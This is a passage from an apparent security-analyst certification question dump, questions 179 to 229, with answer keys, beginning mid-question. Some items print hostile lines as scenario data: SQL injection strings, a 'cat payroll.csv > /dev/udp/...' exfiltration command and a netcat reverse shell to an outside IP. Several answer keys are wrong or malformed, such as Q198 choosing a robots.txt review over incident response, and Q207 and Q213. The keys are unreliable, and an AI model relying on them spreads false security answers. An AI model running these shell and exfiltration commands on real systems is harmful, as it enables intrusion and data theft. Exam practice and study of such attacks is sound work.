MAC Address:01:AA:FB:23:21:45

Nmap done: 1 IP address (1 host up) scanned in 4.22 seconds
```

Subsequent investigation has allowed the organization to conclude that all of the well-known, standard ports are secure. Which of the following services is the problem?

A. `winHelper`
B. `ssh`
C. `rpcbind`
D. `timbuktu-serv1`
E. `mysql`

Correct Answer: D
Section: (none)

Explanation

Explanation/Reference:

QUESTION 179
A SIEM alert occurs with the following output:

Mac	IP	Duration	Logged on
01:23:45:33:89:cc	192.168.122.3	15 hours	Yes
01:23:45:33:89:cc	192.168.122.9	4 days	Yes

Which of the following BEST describes this alert?

A. The alert is a false positive; there is a device with dual NICs
B. The alert is valid because IP spoofing may be occurring on the network
C. The alert is a false positive; both NICs are of the same brand
D. The alert is valid because there may be a rogue device on the network

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 180
A cybersecurity analyst is currently using Nessus to scan several FTP servers. Upon receiving the results of the scan, the analyst needs to further test to verify that the vulnerability found exists. The analyst uses the following snippet of code:

```
Username: admin ' ; - -
Password : ' OR 1=1 - -
```

Which of the following vulnerabilities is the analyst checking for?

A. Buffer overflow
B. SQL injection

C. Default passwords
D. Format string attack

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 181
During a quarterly review of user accounts and activity, a security analyst noticed that after a password reset the head of human resources has been logging in from multiple external locations, including several overseas. Further review of the account showed access rights to a number of corporate applications, including a sensitive accounting application used for employee bonuses. Which of the following security methods could be used to mitigate this risk?

A. RADIUS identity management
B. Context-based authentication

C. Privilege escalation restrictions
D. Elimination of self-service password resets

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 182
An organization has two environments: development and production. Development is where applications are developed with unit testing. The development environment has many configuration differences from the production environment. All applications are hosted on virtual machines. Vulnerability scans are performed against all systems before and after any application or configuration changes to any environment. Lately, vulnerability remediation activity has caused production applications to crash and behave unpredictably. Which of the following changes should be made to the current vulnerability management process?

A. Create a third environment between development and production that mirrors production and tests all changes before deployment to the users
B. Refine testing in the development environment to include fuzzing and user acceptance testing so applications are more stable before they migrate to production
C. Create a second production environment by cloning the virtual machines, and if any stability problems occur, migrate users to the alternate production environment
D. Refine testing in the production environment to include more exhaustive application stability testing while continuing to maintain the robust vulnerability remediation activities

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 183
When reviewing the system logs, the cybersecurity analyst noticed a suspicious log entry:

```
wmic /node: HRDepartment1 computersystem get username
```

Which of the following combinations describes what occurred, and what action should be taken in this situation?

A. A rogue user has queried for users logged in remotely. Disable local access to network shares.
B. A rogue user has queried for the administrator logged into the system. Attempt to determine who executed the command.
C. A rogue user has queried for the administrator logged into the system. Disable local access to use cmd prompt.
D. A rogue user has queried for users logged into in remotely. Attempt to determine who executed the command.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 184
Which of the following describes why it is important for an organization's incident response team and legal department to meet and discuss communication processes during the incident response process?

A. To comply with existing organization policies and procedures on interacting with internal and external parties
B. To ensure all parties know their roles and effective lines of communication are established

C. To identify which group will communicate details to law enforcement in the event of a security incident
D. To predetermine what details should or should not be shared with internal or external parties in the event of an incident

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 185
The Chief Information Security Officer (CISO) has decided that all accounts with elevated privileges must use a longer, more complicated passphrase instead of a password. The CISO would like to formally document management's intent to set this control level. Which of the following is the appropriate means to achieve this?

A. A control
B. A standard
C. A policy
D. A guideline

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 186
During a physical penetration test at a client site, a local law enforcement officer stumbled upon the test questioned the legitimacy of the team.

Which of the following information should be shown to the officer?

A. Letter of engagement
B. Scope of work
C. Timing information
D. Team reporting

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 187
A security analyst is performing a stealth black-box audit of the local WiFi network and is running a wireless sniffer to capture local WiFi network traffic from a specific wireless access point. The SSID is not appearing in the sniffing logs of the local wireless network traffic. Which of the following is the best action that should be performed NEXT to determine the SSID?

A. Set up a fake wireless access point
B. Power down the wireless access point
C. Deauthorize users of that access point
D. Spoof the MAC addresses of adjacent access points

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 188
An analyst is detecting Linux machines on a Windows network. Which of the following tools should be used to detect a computer operating system?

A. `whois`
B. `netstat`
C. `nmap`
D. `nslookup`

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 189
A security analyst has performed various scans and found vulnerabilities in several applications that affect production data. Remediation of all exploits may cause certain applications to no longer work. Which of the following activities would need to be conducted BEFORE remediation?

A. Fuzzing
B. Input validation
C. Change control
D. Sandboxing

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 190
During a tabletop exercise, it is determined that a security analyst is required to ensure patching and scan reports are available during an incident, as well as documentation of all critical systems. To which of the following stakeholders should the analyst provide the reports?

A. Management
B. Affected vendors
C. Security operations
D. Legal

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 191
The Chief Information Security Officer (CISO) has asked the security analyst to examine abnormally high processor utilization on a key server. The output below is from the company's research and development (R&D) server.

Hour	Processor address	Busy time (%)	Processor user (sec)	processor emulation (sec)	Processor system (sec)	System wait (msec)	Server
16:01:31	0	18.75	610	432	66	2823	Research.01.R&D.srv
	1	29.55	765	370	298	2151	Research.01.R&D.srv
	2	16.65	542	382	58	3030	Research.01.R&D.srv
	3	13.86	453	322	46	3160	Research.01.R&D.srv
17:03:31	0	18.99	625	447	59	2205	Research.01.R&D.srv
	1	22.52	605	342	215	1932	Research.01.R&D.srv
	2	14.23	503	313	41	1785	Research.01.R&D.srv
	3	12.81	417	299	32	1823	Research.01.R&D.srv
18:05:17	0	9.63	420	395	41	1287	Research.01.R&D.srv
	1	13.35	302	294	62	1015	Research.01.R&D.srv
	2	6.23	252	241	21	987	Research.01.R&D.srv
	3	5.41	238	197	13	884	Research.01.R&D.srv
19:06:52	0	88.81	2440	1728	264	14115	Research.01.R&D.srv
	1	76.23	3060	1240	901	10755	Research.01.R&D.srv
	2	72.35	2168	987	216	10284	Research.01.R&D.srv
	3	58.99	1912	802	208	9758	Research.01.R&D.srv

Which of the following actions should the security analyst take FIRST?

A. Initiate an investigation
B. Isolate the R&D server
C. Reimage the server
D. Determine availability

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 192
An organization subscribes to multiple third-party security intelligence feeds. It receives a notification from one of these feeds indicating a zero-day malware attack is impacting the SQL server prior to SP 2. The notification also indicates that infected systems attempt to communicate to external IP addresses on port 2718 to download additional payload. After consulting with the organization's database administrator, it is determined that there are several SQL servers that are still on SP 1, and none of the SQL servers would normally communicate over port 2718. Which of the following is the BEST mitigation step to implement until the SQL servers can be upgraded to SP 2 with minimal impact to the network?

A. Create alert rules on the IDS for all outbound traffic on port 2718 from the IP addresses if the SQL servers running SQL SP 1
B. On the organization's firewalls, create a new rule that blocks outbound traffic on port 2718 from the IP addresses of the servers running SQL SP 1
C. Place all the SQL servers running SP 1 on a separate subnet On the firewalls, create a new rule blocking connections to destination addresses external to the organization's network
D. On the SQL servers running SP 1, install vulnerability scanning software

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 193
An organization is performing vendor selection activities for penetration testing, and a security analyst is reviewing the MOA and rules of engagement, which were supplied with proposals. Which of the following should the analyst expect will be included in the documents and why?

A. The scope of the penetration test should be included in the MOA to ensure penetration testing is conducted against only specifically authorized network resources.
B. The MOA should address the client SLA in relation to reporting results to regulatory authorities, including issuing banks for organizations that process cardholder data.
C. The rules of engagement should include detailed results of the penetration scan, including all findings, as well as designation of whether vulnerabilities identified during the scanning phases are found to be exploitable during the penetration test.
D. The exploitation standards should be addressed in the rules of engagement to ensure both parties are aware of the depth of exploitation that will be attempted by penetration testers.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 194
A manufacturing company has decided to participate in direct sales of its products to consumers. The company decides to use a subdomain of its main site with its existing cloud service provider as the portal for e-commerce. After launch, the site is stable and functions properly, but after a robust day of sales, the site begins to redirect to a competitor's landing page. Which of the following actions should the company's security team take to determine the cause of the issue and minimize the scope of impact?

A. Engage a third party to provide penetration testing services to see if an exploit can be found
B. Check DNS records to ensure Cname or alias records are in place for the subdomain
C. Query the cloud provider to determine the nature of the DNS attack and find out which other clients are affected
D. Check the DNS records to ensure a correct MX record is established for the subdomain

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 195
A company requests a security assessment of its network. Permission is given, but no details are provided. It is discovered that the company has a web presence, and the company's IP address is 70.182.11.4. Which of the following Nmap commands would reveal common open ports and their versions?

A. nmap - oV
B. nmap -vO
C. nmap -sv

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 196
The IT department at a growing law firm wants to begin using a third-party vendor for vulnerability monitoring and mitigation. The executive director of the law firm wishes to outline the assumptions and expectations between the two companies. Which of the following documents might be referenced in the event of a security breach at the law firm?

A. SLA

B. MOU
C. SOW
D. NDA

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 197
A security analyst is performing a routine check on the SIEM logs related to the commands used by operators and detects several suspicious entries from different users. Which of the following would require immediate attention?

A. `nmap –A –sV 192.168.1.235`
B. `cat payroll.csv > /dev/udp/123.456.123.456/53`
C. `cat/etc/passwd`
D. `mysql –h 192.168.1.235 –u test -p`

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 198
A security analyst is investigating the possible compromise of a production server for the company's public-facing portal. The analyst runs a vulnerability scan against the server and receives the following output:

```
+ Server: nginx/1.4.6 (Ubuntu)
+ The anti-clickjacking X-Prame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can
hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow
the user agent to render the content of the site in a different
fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all
possible dirs)
+ Entry '/wp-admin/' in robots.txt returned a non-forbidden or
redirect HTTP code (302)
+ "robots.txt" contains two entries that should be manually
viewed.
```

In some of the portal's startup command files, the following command appears:

```
nc -o /bin/sh 72.14.1.36 4444
```

Investigating further, the analyst runs Netstat and obtains the following output

```
# netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address state
tcp 0 0 *:443 *:* LISTEN
tcp 0 52 ":59482 72.14.1.36:4444 ESTABLISHED
tcp 0 0 *:80 *:* LISTEN
```

Which of the following is the best step for the analyst to take NEXT?

A. Initiate the security incident response process
B. Recommend training to avoid mistakes in production command files
C. Delete the unknown files from the production servers
D. Patch a new vulnerability that has been discovered

E. Manually review the robots .txt file for errors

Correct Answer: E
Section: (none)
Explanation

Explanation/Reference:

QUESTION 199
A company office was broken into over the weekend. The office manager contacts the IT security group to provide details on which servers were stolen. The security analyst determines one of the stolen servers contained a list of customer PII information, and another server contained a copy of the credit card transactions processed on the Friday before the break-in. In addition to potential security implications of information that could be gleaned from those servers and the rebuilding/restoring of the data on the stolen systems, the analyst needs to determine any communication or notification requirements with respect to the incident. Which of the following items is MOST important when determining what information needs to be provided, who should be contacted, and when the communication needs to occur.

A. Total number of records stolen
B. Government and industry regulations
C. Impact on the reputation of the company's name/brand
D. Monetary value of data stolen

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 200
A vulnerability scan came back with critical findings for a Microsoft SharePoint server:

```
Vulnerable Software installed: Office 2007
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData
\S-1-5-18\Products\000021096F0100000100000000F01FEC\InstallProperties - key
exists The Office component Microsoft Office Excel Services Web Front End
Components is running an affected version - 12.0.6612.1000
```

Which of the following actions should be taken?

A. Remove Microsoft Office from the server.
B. Document the finding as an exception.
C. Install a newer version of Microsoft Office on the server.
D. Patch Microsoft Office on the server.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 201
A security analyst is monitoring authentication exchanges over the company's wireless network. A sample of the Wireshark output is shown below:

No	Time	Source	Destination	Protocol	Info
1345	191.12345	Cisco_91:aa	Netgear_a5:ef	EAP	Request, Identify
1350	191.12456	Netgear_a5:ef	Cisco_91:aa	EAP	Response, Identify
1355	191.12678	Cisco_91:aa	Netgear_a5:ef	EAP	Request, LEAP
1360	191.12690	Netgear_a5:ef	Cisco_91:aa	TLSv1.1	Client Hello
...					
2145	191.12345	fooHost	barServer	TCP	GET ./login.jsp
2150	191.12456	barServer	fooHost	TCP	Source port:80 ...

Which of the following would improve the security posture of the wireless network?

A. Using PEAP instead of LEAP
B. Using SSL 2.0 instead of TLSv1.1
C. using aspx instead of .jsp
D. Using UDP instead of TCP

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 202
A security analyst is assisting in the redesign of a network to make it more secure. The solution should be low cost, and access to the secure segments should be easily monitored, secured, and controlled. Which of the following should be implemented?

A. System isolation
B. Honeyport
C. Jump box
D. Mandatory access control

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 203
A Chief Information Security Officer (CISO) needs to ensure that a laptop image remains unchanged and can be verified before authorizing the deployment of the image to 4000 laptops. Which of the following tools would be appropriate to use in this case?

A. MSBA
B. SHA1sum
C. FIM
D. DLP

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 204
Which of the following systems or services is MOST likely to exhibit issues stemming from the Heartbleed vulnerability (Choose two.)

A. SSH daemons
B. Web servers
C. Modbus devices
D. TLS VPN services
E. IPSec VPN concentrators
F. SMB service

Correct Answer: DE
Section: (none)
Explanation

Explanation/Reference:

QUESTION 205
An analyst was investigating the attack that took place on the network. A user was able to access the system without proper authentication. Which of the following will the analyst recommend, related to management approaches, in order to control access? (Choose three.)

A. RBAC
B. LEAP
C. DAC
D. PEAP
E. MAC
F. SCAP
G. BCP

Correct Answer: ACE
Section: (none)

Explanation

Explanation/Reference:

QUESTION 206
An organization has been conducting penetration testing to identify possible network vulnerabilities. One of the security policies states that web servers and database servers must not be co-located on the same server unless one of them runs on a non-standard. The penetration tester has received the following outputs from the latest set of scans:

```
Starting Nmap 4.11 (http://nmap.org) at 2011-11-03 18:32 EDT

Interesting ports on host orgServer (192.168.1.13)
PORT              STATE         SERVICE
22/tcp            open          ssh
80/tcp            open          http
139/tcp           open          netbios-ssn
3306/tcp          open          mysql
Service detection performed.

Nmap done: 1 IP address (1 host up) scanned in 0.822 seconds

Starting Nmap 4.11 ((http://nmap.org) at 2011-11-03 18:33 EDT

Interesting ports on host finServer (192.168.1.14):
PORT              STATE         SERVICE
22/tcp            open          ssh
80/tcp            open          http
139/tcp           open          netbios-ssn
Service detection performed.

Nmap done: 1 IP address (1 host up) scanned in 0.822 seconds
```

Which of the following servers is out of compliance?

A. finServer
B. adminServer
C. orgServer
D. opsServer

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 207
A company is developing its first mobile application, which will be distributed via the official application stores of the two major mobile platforms.

Which of the following is a prerequisite to making the applications available in the application stores?

A. Distribute user certificates.
B. Deploy machine/computer certificates.
C. Obtain a code-signing certificate.
D. Implement a CRL.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 208
A security analyst's daily review of system logs and SIEM showed fluctuating patterns of latency. During the analysis, the analyst discovered recent attempts of intrusion related to malware that overwrites the MBR. The facilities manager informed the analyst that a nearby construction project damaged the primary power lines, impacting the analyst's support systems. The electric company has temporarily restored power, but the area may experience temporary outages.

Which of the following issues the analyst focus on to continue operations?

A. Updating the ACL
B. Conducting backups
C. Virus scanning
D. Additional log analysis

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 209
A company has a popular shopping cart website hosted geographically diverse locations. The company has started hosting static content on a content delivery network (CDN) to improve performance. The CDN provider has reported the company is occasionally sending attack traffic to other CDN-hosted targets.

Which of the following has MOST likely occurred?

A. The CDN provider has mistakenly performed a GeoIP mapping to the company.
B. The CDN provider has misclassified the network traffic as hostile.
C. A vulnerability scan has tuned to exclude web assets hosted by the CDN.
D. The company has been breached, and customer PII is being exfiltrated to the CDN.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 210
During a recent breach, an attacker was able to use `tcpdump` on a compromised Linux server to capture the password of a network administrator that logged into a switch using telnet.

Which of the following compensating controls could be implemented to address this going forward?

A. Whitelist `tcpdump` of Linux servers.
B. Change the network administrator password to a more complex one.
C. Implement separation of duties.

D. Require SSH on network devices.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 211
A company uses a managed IDS system, and a security analyst has noticed a large volume of brute force password attacks originating from a single IP address. The analyst put in a ticket with the IDS provider, but no action was taken for 24 hours, and the attacks continued. Which of the following would be the BEST approach for the scenario described?

A. Draft a new MOU to include response incentive fees.
B. Reengineer the BPA to meet the organization's needs.
C. Modify the SLA to support organizational requirements.
D. Implement an MOA to improve vendor responsiveness.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 212
After reviewing security logs, it is noticed that sensitive data is being transferred over an insecure network. Which of the following would a cybersecurity analyst BEST recommend that the organization implement?

A. Use a VPN
B. Update the data classification matrix.
C. Segment the networks.
D. Use FIM.
E. Use a digital watermark.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 213
The help desk has reported that users are reusing previous passwords when prompted to change them. Which of the following would be the MOST appropriate control for the security analyst to configure to prevent password reuse? (Choose two.)

A. Implement mandatory access control on all workstations.
B. Implement role-based access control within directory services.
C. Deploy Group Policy Objects to domain resources.
D. Implement scripts to automate the configuration of PAM on Linux hosts.
E. Deploy a single-sing-on solution for both Windows and Linux hosts.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 214
A business recently installed a kiosk that is running on a hardened operating system as a restricted user. The kiosk user application is the only application that is allowed to run. A security analyst gets a report that pricing data is being modified on the server, and management wants to know how this is happening. After reviewing the logs, the analyst discovers the root account from the kiosk is accessing the files. After validating the permissions on the server, the analyst confirms the permissions from the kiosk do not allow to write to the server data.

Which of the following is the MOST likely reason for the pricing data modifications on the server?

A. Data on the server is not encrypted, allowing users to change the pricing data.
B. The kiosk user account has execute permissions on the server data files.
C. Customers are logging off the kiosk and guessing the root account password.
D. Customers are escaping the application shell and gaining root-level access.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 215
An organization suspects it has had a breach, and it is trying to determine the potential impact. The organization knows the following:

- The source of the breach is linked to an IP located in a foreign country.
- The breach is isolated to the research and development servers.
- The hash values of the data before and after the breach are unchanged.
- The affected servers were regularly patched, and a recent scan showed no vulnerabilities.

Which of the following conclusions can be drawn with respect to the threat and impact? (Choose two.)

A. The confidentiality of the data is unaffected.
B. The threat is an APT.
C. The source IP of the threat has been spoofed.
D. The integrity of the data is unaffected.
E. The threat is an insider.

Correct Answer: BD
Section: (none)
Explanation

Explanation/Reference:

QUESTION 216
A system is experiencing noticeably slow response times, and users are being locked out frequently. An analyst asked for the system security plan and found the system comprises two servers: an application server in the DMZ and a database server inside the trusted domain. Which of the following should be performed NEXT to investigate the availability issue?

A. Review the firewall logs.
B. Review syslogs from critical servers.
C. Perform fuzzing.
D. Install a WAF in front of the application server.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 217
Ann, a user, reports to the security team that her browser began redirecting her to random sites while using her Windows laptop. Ann further reports that the OS shows the C: drive is out of space despite having plenty of space recently. Ann claims she not downloaded anything. The security team obtains the laptop and begins to investigate, noting the following:

- File access auditing is turned off.
- When clearing up disk space to make the laptop functional, files that appear to be cached web pages are immediately created in a temporary directory, filling up the available drive space.
- All processes running appear to be legitimate processes for this user and machine.
- Network traffic spikes when the space is cleared on the laptop.
- No browser is open.

Which of the following initial actions and tools would provide the BEST approach to determining what is happening?

A. Delete the temporary files, run an Nmap scan, and utilize Burp Suite.
B. Disable the network connection, check Sysinternals Process Explorer, and review netstat output.
C. Perform a hard power down of the laptop, take a dd image, and analyze with FTK.
D. Review logins to the laptop, search Windows Event Viewer, and review Wireshark captures.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 218
A security architect is reviewing the options for performing input validation on incoming web form submissions. Which of the following should the architect as the MOST secure and manageable option?

A. Client-side whitelisting
B. Server-side whitelisting
C. Server-side blacklisting
D. Client-side blacklisting

Correct Answer: B
Section: (none)

Explanation

Explanation/Reference:

QUESTION 219
The computer incident response team at a multinational company has determined that a breach of sensitive data has occurred in which a threat actor has compromised the organization's email system. Per the incident response procedures, this breach requires notifying the board immediately. Which of the following would be the BEST method of communication?

A. Post of the company blog
B. Corporate-hosted encrypted email
C. VoIP phone call
D. Summary sent by certified mail
E. Externally hosted instant message

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 220
Which of the following is the BEST way to share incident-related artifacts to provide non-repudiation?

A. Secure email
B. Encrypted USB drives
C. Cloud containers
D. Network folders

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 221

A security analyst has a sample of malicious software and needs to know what the sample does? The analyst runs the sample in a carefully controlled and monitored virtual machine to observe the software behavior.

Which of the following malware analysis approaches is this?

A. White box testing
B. Fuzzing
C. Sandboxing
D. Static code analysis

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 222
An analyst is reviewing a list of vulnerabilities, which were reported from a recent vulnerability scan of a Linux server.

Which of the following is MOST likely to be a false positive?

A. OpenSSH/OpenSSL Package Random Number Generator Weakness
B. Apache HTTP Server Byte Range DoS
C. GDI+ Remote Code Execution Vulnerability (MS08-052)
D. HTTP TRACE / TRACK Methods Allowed (002-1208)
E. SSL Certificate Expiry

Correct Answer: E
Section: (none)
Explanation

Explanation/Reference:

QUESTION 223
An analyst identifies multiple instances of node-to-node communication between several endpoints within the 10.200.2.0/24 network and a user machine at the IP address 10.200.2.5. This user machine at the IP address 10.200.2.5 is also identified as initiating outbound communication during atypical business hours with several IP addresses that have recently appeared on threat feeds.

Which of the following can be inferred from this activity?

A. 10.200.2.0/24 is infected with ransomware.
B. 10.200.2.0/24 is not routable address space.
C. 10.200.2.5 is a rogue endpoint.
D. 10.200.2.5 is exfiltrating data.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 224
A system administrator is doing network reconnaissance of a company's external network to determine the vulnerability of various services that are running. Sending some sample traffic to the external host, the administrator obtains the following packet capture:

```
18 17.646496 67.53.200.1 67.53.200.12 TCP 58 47669 -> 22 [SYN] Seq=0 Win=1024 Len=0 MSS=1460

19 17.646944 67.53.200.1 67.53.200.12 TCP 58 47669 -> 445 [SYN] Seq=0 Win=1024 Len=0 MSS=1460

20 17.648631 67.53.200.12 67.53.200.1 TCP 58 22 -> 47669 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460

21 17.648646 67.53.200.1 67.53.200.12 TCP 58 47669 -> 80 [SYN] Seq=0 Win=1024 Len=0 MSS=1460

22 17.648887 67.53.200.12 67.53.200.1 TCP 54 445 -> 47669 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0

23 17.649763 67.53.200.12 67.53.200.1 TCP 54 80 -> 47669 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
```

Based on the output, which of the following services should be further tested for vulnerabilities?

A. SSH
B. HTTP
C. SMB
D. HTTPS

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 225
A human resources employee sends out a mass email to all employees that contains their personnel records. A security analyst is called in to address the concern of the human resources director on how to prevent this from happening in the future.

Which of the following would be the BEST solution to recommend to the director?

A. Install a data loss prevention system, and train human resources employees on its use. Provide PII training to all employees at the company. Encrypt PII information.
B. Enforce encryption on all emails sent within the company. Create a PII program and policy on how to handle data. Train all human resources employees.
C. Train all employees. Encrypt data sent on the company network. Bring in privacy personnel to present a plan on how PII should be handled.
D. Install specific equipment to create a human resources policy that protects PII data. Train company employees on how to handle PII data. Outsource all PII to another company. Send the human resources director to training for PII handling.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 226
Joe, a penetration tester, used a professional directory to identify a network administrator and ID administrator for a client's company. Joe then emailed the network administrator, identifying himself as the ID administrator, and asked for a current password as part of a security exercise. Which of the following techniques were used in this scenario?

A. Enumeration and OS fingerprinting
B. Email harvesting and host scanning
C. Social media profiling and phishing
D. Network and host scanning

Correct Answer: C
Section: (none)

Explanation

Explanation/Reference:

QUESTION 227
A security team is implementing a new vulnerability management program in an environment that has a historically poor security posture. The team is aware of issues patch management in the environment and expects a large number of findings. Which of the following would be the MOST efficient way to increase the security posture of the organization in the shortest amount of time?

A. Create an SLA stating that remediation actions must occur within 30 days of discovery for all levels of vulnerabilities.
B. Incorporate prioritization levels into the remediation process and address critical findings first.
C. Create classification criteria for data residing on different servers and provide remediation only for servers housing sensitive data.
D. Implement a change control policy that allows the security team to quickly deploy patches in the production environment to reduce the risk of any vulnerabilities found.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 228
Which of the following is the use of tools to simulate the ability for an attacker to gain access to a specified network?

A. Reverse engineering
B. Fuzzing
C. Penetration testing
D. Network mapping

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 229
A company just chose a global software company based in Europe to implement a new supply chain management solution. Which of the following would be the

MAIN concern of the company?

A. Violating national security policy
B. Packet injection
C. Loss of intellectual property
D. International labor laws

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference: